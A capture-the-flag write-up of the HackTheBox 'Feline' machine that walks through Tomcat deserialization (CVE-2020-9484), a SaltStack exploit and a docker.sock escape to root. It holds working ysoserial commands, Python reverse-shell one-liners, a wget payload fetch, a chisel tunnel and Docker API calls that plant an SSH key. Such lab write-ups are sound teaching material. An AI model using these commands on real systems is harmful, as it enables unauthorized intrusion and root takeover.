Feline HackTheBox Writeup

8 minute read



  • Using Java Deserialization in Apache Tomcat (CVE-2020–9484) to get a reverse shell on the box
  • Exploiting Vulnerability in SaltStack(CVE-2020–11651) leading to code execution which gave us a shell on docker container
  • Using docker.sock socket to create a new docker container with root file system mounted and writing our public key on root’s authorized_keys file

Port Scan

$:~ nmap -sC -sV -oN nmap/initial -v  
Nmap scan report for  
Host is up (0.099s latency).  
Not shown: 998 closed ports  
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)  
8080/tcp open  http    Apache Tomcat 9.0.27  
| http-methods:   
|_  Supported Methods: OPTIONS GET HEAD POST  
|_http-open-proxy: Proxy might be redirecting requests  
|_http-title: VirusBucket  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looking at the results, we only have two ports open. As ssh does not have that much of an attack surface, Let’s see the http service running on port 8080.

HTTP (PORT 8080)


On /service


This is a good sign. We are able to upload file with any extension without even authenticating. If we can know where these files are being uploaded, we can upload a php reverse shell and browse it from the browser which will lead to code execution.

So while running gobuster on the background, I went to play with this file uploading functionality. As they said they support any file, I tried uploading files with multiple extensions and size and analysed in Burp suite.

Uploading a simple shell.php


It gets uploaded, but we don’t know where the file is being stored on the server.

Uploading linpeas.sh


Uploading linpeas triggered an error, which is revealing the path on the server. There might be a mechanism that the server changes the name of the uploaded files.

So I searched the first line of the error to find out what might be causing this error and I found this post explaining that this error is triggered if the max upload size is exceeded by the uploaded file.

Uploading a file with empty name


With empty filename, it tried to write a file in a directory which throws another exception revealing the actual place in the server where uploaded files are stored.

Now while searching for vulnerabilities on the Apache Tomat related to file uploading functionality, I came across this article which explains how we can achieve remote code execution by deserialization. But there were some prerequisites for an Apache Tomcat to be exploitable.



We knew we can upload file and have control over the filename and the location it is being uploaded to.

Java Deserialization was not my strong suit as I had very less knowledge on the topic. But I thought to give this exploit a try.


For this exploit to work, first we have to generate a serialized object with our payload using ysoserial. Then we have to upload this file, naming it something that ends on .session. And to trigger the code execution, we have to request a page, with our cookie JSESSIONID’s value changed to ../../../../../../../path/filename

For the payload generation with ysoserial, I tried multiple gadgets and CommonsCollection2 seem to work.

$:~ java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'ping -c 1' > ping.session

Listening on our box

$:~ sudo tcpdump -i tun0 icmp

Uploading file


Triggering the code execution


We got an response with code 500 which is a good sign cause that’s what the blog post said.

And looking at the result of tcpdump, we got the response back.


Now we know that we have code execution, lets try and get a reverse shell. As I was having problem with one liner reverse shell code, I used wget to fetch the script with code for our reverse shell and another payload to execute that script.

Content of shell.sh

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

For reliability, I have used multiple payload using python2 and python3.

Creating payload with ysoserial

$:~ java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'wget -O /dev/shm/shell.sh' > payload.session

Uploading the file


Starting python HTTP server on our local box

$:~ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ...

Triggering the payload


On python http server, we get a hit.

$:~ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [04/Sep/2020 11:41:04] "GET /shell.sh HTTP/1.1" 200

Creating another payload

$:~ java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'bash /dev/shm/shell.sh' > payload.session

Uploading the next payload to execute the reverse shell that we uploaded earlier


Listening on port 9003 on local box

$:~ nc -nvlp 9003  
Listening on [] (family 2, port 9003)  
Listening on 9003

Triggering the payload


Now we get a shell back.

$:~ nc -nvlp 9003  
Listening on [] (family 2, port 9003)  
Listening on 9003  
Connection received on 55876  
/bin/sh: 0: can't access tty; job control turned off  
$ whoami  

Now lets get a proper shell with auto completion.

$ python3 -c "import pty;pty.spawn('/bin/bash')"

Hit CRTL+z to background the current process and on local box type

$:~ stty raw -echo

and type fg and hit enter twice and on the reverse shell export the TERM as xterm.

[email protected]:/opt/tomcat$ export TERM=xterm

Now the shell looks good and we can read user.txt file.


Privilege Escalation

After I ran linpeas, I found of couple of interesting things.

Few extra ports listening on the local interface

[email protected]:/opt/tomcat$ ss -lta  
State      Recv-Q Send-Q      Local Address:Port     Peer Address:Port  Process   
LISTEN     0      4096  *               
LISTEN     0      4096*               
LISTEN     0      128      *               
LISTEN     0      4096  *               
LISTEN     0      4096  *               
LISTEN     0      4096  *

And instance of a docker container

[email protected]:/opt/tomcat$ ifconfig docker0  
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500  
        inet  netmask  broadcast               
        inet6 fe80::42:7cff:fe88:fe82  prefixlen 64  scopeid 0x20<link>  
        ether 02:42:7c:88:fe:82  txqueuelen 0  (Ethernet)  
        RX packets 134722  bytes 5394356 (5.3 MB)  
        RX errors 0  dropped 0  overruns 0  frame 0  
        TX packets 136282  bytes 10036941 (10.0 MB)  
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Searching the ports that were open, I found Salt Stack often uses port 4505 and 4506.


Salt (sometimes referred to as SaltStack) is Python-based, open-source software for event-driven IT automation, remote task execution, and configuration management. It follows the client server architecture where the server called master can execute commands on the the clients (minions).

And with further research, I found a recent CVE on SaltStack and this proof of concept exploit in GitHub.

Lets us download the exploit on to our box.

$:~ git clone https://github.com/jasperla/CVE-2020-11651-poc

And also we need salt for this exploit to work. So let’s install that with pip3.

$:~ sudo pip3 install salt

And if we look at the arguments


This exploit connects to port 4506, but the port is only listening on the box’s local interface. So lets use Chisel for port forwarding. First lets download the binary of chisel on our local box and download it from the box using wget.

[email protected]:/dev/shm/.test$ wget
--2020-09-04 07:17:47--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 7364608 (7.0M) [application/octet-stream]
Saving to: 'chisel'
chisel              100%[===================>]   7.02M  2.18MB/s    in 3.2s
2020-09-04 07:17:51 (2.18 MB/s) - 'chisel' saved [7364608/7364608]

On our local box

$:~ ./chisel server -p 1880 --reverse

On the server

$:~ ./chisel client R:4506:

Running the exploit and we get the ping back. COOL!!


Getting a reverse shell with the previous shell.sh script


And we get a shell as root but on a docker container.

Content on the home directory

[email protected]:~# ls -la  
total 28  
drwx------ 1 root root 4096 Jun 30 12:45 .  
drwxr-xr-x 1 root root 4096 Jun 30 12:33 ..  
-rw------- 1 root root 1336 Jun 30 16:12 .bash_history  
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc  
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile  
drwxr-xr-x 2 root root 4096 May  3 22:21 .ssh  
-rw-r--r-- 1 root root  137 Jun 30 12:41 todo.txt  
[email protected]:~#


[email protected]:~# cat todo.txt   
- Add saltstack support to auto-spawn sandbox dockers through events.  
- Integrate changes to tomcat and make the service open to public.



One interesting thing that I found on .bash_history file is the use of docker.sock socket to get the images of the docker containers.

And looking at /var/run/docker.sock, we can see it is present.

[email protected]:~# ls -la /var/run/docker.sock   
srw-rw---- 1 root 118 0 Sep  4 07:12 /var/run/docker.sock

As docker.sock is the UNIX socket that Docker daemon is listening to and it the main entry point for Docker API, it is not so good practice to mount this socket inside docker containers. Now we could basically use curl request using the socket to create new containers on the host box.

I found this amazing post which shows how we can mount the root file system to a new container and also execute code on the created docker container, using the socket docker.sock.

Let us create a new docker container with the same image id that we are in and mount the root file system in the new created container.


Creating a new docker container

$:~ curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"188a2704d8b0","HostConfig":{"Binds": ["/:/var/tmp"]},  
"sh", "-c", "echo my_pub_key >> /var/tmp/root/.ssh/authorized_keys"  

So, I will try to create a new container and write the authorized_keys file with my public key.

Generating private/public key pairs on my local box

$:~ ssh-keygen -f id_rsa

Creating a docker container with commands to write /root/.ssh/authorized_keys file when the container starts

[email protected]:~# curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock [http://localhost/containers/create](http://v1.27/containers/create) -d '{"Detach":  
true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"188a2704d8b0","HostConfig":{"Binds": ["/:/var/tmp"]},  
, "-c", "while true;do echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeB05i2a3qY8t9hMgkH4R5+s/LFhK30xGhIjPm914tqUG1B2NqPTA5zlpG2YeT0v5yty039FfEA1JvvHzsx+PZgcgZXjvBxORkjti03PrE7RU4BInajtZVTIvup1QGG33KjeVuU55YyA2u2uNwELW1oeNKs1PVekcYJxBygIhHniQ5OJS0Tv2tIfxz80K1DymnlYSQWdSEYN+xUvGwxMCdltF5FEPUpDarK1a252QOLjckzft+vcT2F3GBOAC5wTmIdu6I8r5TSyuazbZAlcNxJfs6xsFRuf9wI40cbg53bCP9eL9EMt7taXKAHz1+DytZh4HpVptLrz2blDQU+sIDwOjaVSlTMyyroHMTdzVyNFbMLw1xZF+1oQkPVeiDe1ECWgE7+SWLiOBu8yn2xXPkstOM2ZB2Qy8sGnLNWGhmvcgDuvmmahppUhh+bJvfPtoIwAxtdST2geGZ4+9girh3hJEn9cZMkdo4s2Et9smWgpFAJpispoNSEs= >>  
/var/tmp/root/.ssh/authorized_keys;sleep 10; done"  

Starting the docker instance that we just created using the ID given above

[email protected]:~# curl -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/808e1ab8dfe7d7934dd705b6644f16a4fe6c02dfc18e6bf603d43368a29a3469/start

And now with the private key that we have on our box, let’s try to login to the box as root using ssh.

And it worked. Now we are root on the box. AWESOME!!!

Reading root.txt


And clearing the mess that we had created earlier

[email protected]:~# vi .ssh/authorized_keys   
[email protected]:~# cd .ssh  
[email protected]:~/.ssh# cat authorized_keys | wc -l